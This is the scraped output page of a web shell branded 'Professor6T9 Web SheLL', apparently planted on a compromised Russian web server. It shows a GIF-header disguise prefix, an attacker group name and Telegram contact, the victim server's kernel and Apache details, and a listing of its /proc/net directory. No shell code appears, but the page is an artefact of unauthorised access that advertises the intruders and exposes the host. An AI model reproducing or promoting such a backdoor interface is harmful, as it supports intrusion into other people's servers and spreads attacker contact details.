GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
 Apache/2.4.52 (Ubuntu)
 127.0.0.1

Name Type Size Owner/Group Permission Last Modified Actions
. dir - 1012/1012 0555 2026-01-16 02:01:10
.. dir - 1012/1012 0555 2025-12-28 12:00:02
dev_snmp6 dir - 0/0 0555 2026-01-16 02:14:47
netfilter dir - 0/0 0555 2026-01-16 02:14:47
stat dir - 0/0 0555 2026-01-16 02:14:47
anycast6 application/x-empty 0 B 0/0 0444 2026-01-16 02:14:47
arp text/plain 0 B 0/0 0444 2026-01-16 02:14:47
connector text/plain 0 B 0/0 0444 2026-01-16 02:14:47
dev text/plain 0 B 0/0 0444 2026-01-16 02:14:47
dev_mcast text/plain 0 B 0/0 0444 2026-01-16 02:14:47
fib_trie text/plain 0 B 0/0 0444 2026-01-16 02:14:47
fib_triestat text/plain 0 B 0/0 0444 2026-01-16 02:14:47
icmp text/plain 0 B 0/0 0444 2026-01-16 02:14:47
icmp6 text/plain 0 B 0/0 0444 2026-01-16 02:14:47
if_inet6 text/plain 0 B 0/0 0444 2026-01-16 02:14:47
igmp text/plain 0 B 0/0 0444 2026-01-16 02:14:47
igmp6 text/plain 0 B 0/0 0444 2026-01-16 02:14:47
ip6_flowlabel text/plain 0 B 0/0 0444 2026-01-16 02:14:47
ip6_mr_cache text/plain 0 B 0/0 0444 2026-01-16 02:14:47
ip6_mr_vif text/plain 0 B 0/0 0444 2026-01-16 02:14:47
ip_mr_cache text/plain 0 B 0/0 0444 2026-01-16 02:14:47
ip_mr_vif text/plain 0 B 0/0 0444 2026-01-16 02:14:47
ip_tables_matches 0 B 0/0 0440 2026-01-16 02:14:47
ip_tables_names 0 B 0/0 0440 2026-01-16 02:14:47
ip_tables_targets 0 B 0/0 0440 2026-01-16 02:14:47
ipv6_route text/plain 0 B 0/0 0444 2026-01-16 02:14:47
mcfilter text/plain 0 B 0/0 0444 2026-01-16 02:14:47
mcfilter6 text/plain 0 B 0/0 0444 2026-01-16 02:14:47
netlink text/plain 0 B 0/0 0444 2026-01-16 02:14:47
netstat text/plain 0 B 0/0 0444 2026-01-16 02:14:47
packet text/plain 0 B 0/0 0444 2026-01-16 02:14:47
protocols text/plain 0 B 0/0 0444 2026-01-16 02:14:47
psched text/plain 0 B 0/0 0444 2026-01-16 02:14:47
ptype text/plain 0 B 0/0 0444 2026-01-16 02:14:47
raw text/plain 0 B 0/0 0444 2026-01-16 02:14:47
raw6 text/plain 0 B 0/0 0444 2026-01-16 02:14:47
route text/plain 0 B 0/0 0444 2026-01-16 02:14:47
rt6_stats text/plain 0 B 0/0 0444 2026-01-16 02:14:47
rt_acct application/octet-stream 0 B 0/0 0444 2026-01-16 02:14:47
rt_cache text/plain 0 B 0/0 0444 2026-01-16 02:14:47
snmp text/plain 0 B 0/0 0444 2026-01-16 02:14:47
snmp6 text/plain 0 B 0/0 0444 2026-01-16 02:14:47
sockstat text/plain 0 B 0/0 0444 2026-01-16 02:14:47
sockstat6 text/plain 0 B 0/0 0444 2026-01-16 02:14:47
softnet_stat text/plain 0 B 0/0 0444 2026-01-16 02:14:47
tcp text/plain 0 B 0/0 0444 2026-01-16 02:14:47
tcp6 text/plain 0 B 0/0 0444 2026-01-16 02:14:47
tls_stat text/plain 0 B 0/0 0444 2026-01-16 02:14:47
udp text/plain 0 B 0/0 0444 2026-01-16 02:14:47
udp6 text/plain 0 B 0/0 0444 2026-01-16 02:14:47
udplite text/plain 0 B 0/0 0444 2026-01-16 02:14:47
udplite6 text/plain 0 B 0/0 0444 2026-01-16 02:14:47
unix text/plain 0 B 0/0 0444 2026-01-16 02:14:47
wireless text/plain 0 B 0/0 0444 2026-01-16 02:14:47
xfrm_stat text/plain 0 B 0/0 0444 2026-01-16 02:14:47
© Professor6T9